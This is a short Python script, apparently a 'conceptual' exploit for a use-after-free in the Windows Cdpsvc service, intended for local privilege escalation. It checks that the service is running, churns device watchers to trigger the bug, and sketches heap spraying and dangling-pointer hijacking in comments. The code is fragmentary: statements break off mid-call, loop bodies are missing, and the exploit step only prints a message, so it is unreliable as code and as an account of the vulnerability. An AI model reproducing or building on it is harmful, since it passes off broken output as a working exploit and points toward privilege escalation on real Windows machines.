# CVE-2025-58719 - Cdpsvc Use After Free PoC (Conceptual)
# Note: This is a conceptual PoC. Actual exploitation requires specific conditions.
# Target: Microsoft Windows Cdpsvc Service
import ctypes
import subprocess
import time
# Step 1: Check if Cdpsvc service is running
def check_service():
result = subprocess.run(
['sc', 'query', 'Cdpsvc'],

# Step 2: Trigger UAF condition via device platform API
def trigger_uaf():
# Interact with Connected Devices Platform through COM/WinRT APIs
# The UAF occurs when the service processes certain device events

# Enumerate connected devices to trigger service activity
from windows.devices.enumeration import DeviceInformation
devices = DeviceInformation.find_all_async()
# Rapidly create and destroy device watchers to trigger UAF
for i in range(100):

# Step 3: Exploit UAF for privilege escalation
def exploit_uaf():
# After triggering UAF, use heap spraying or token manipulation
# to achieve privilege escalation
print("Exploiting UAF in Cdpsvc for local privilege escalation...")
# In real scenarios, this would involve:
# - Heap spraying to control freed memory
# - Replacing freed object with malicious data
# - Triggering code execution through dangling pointer
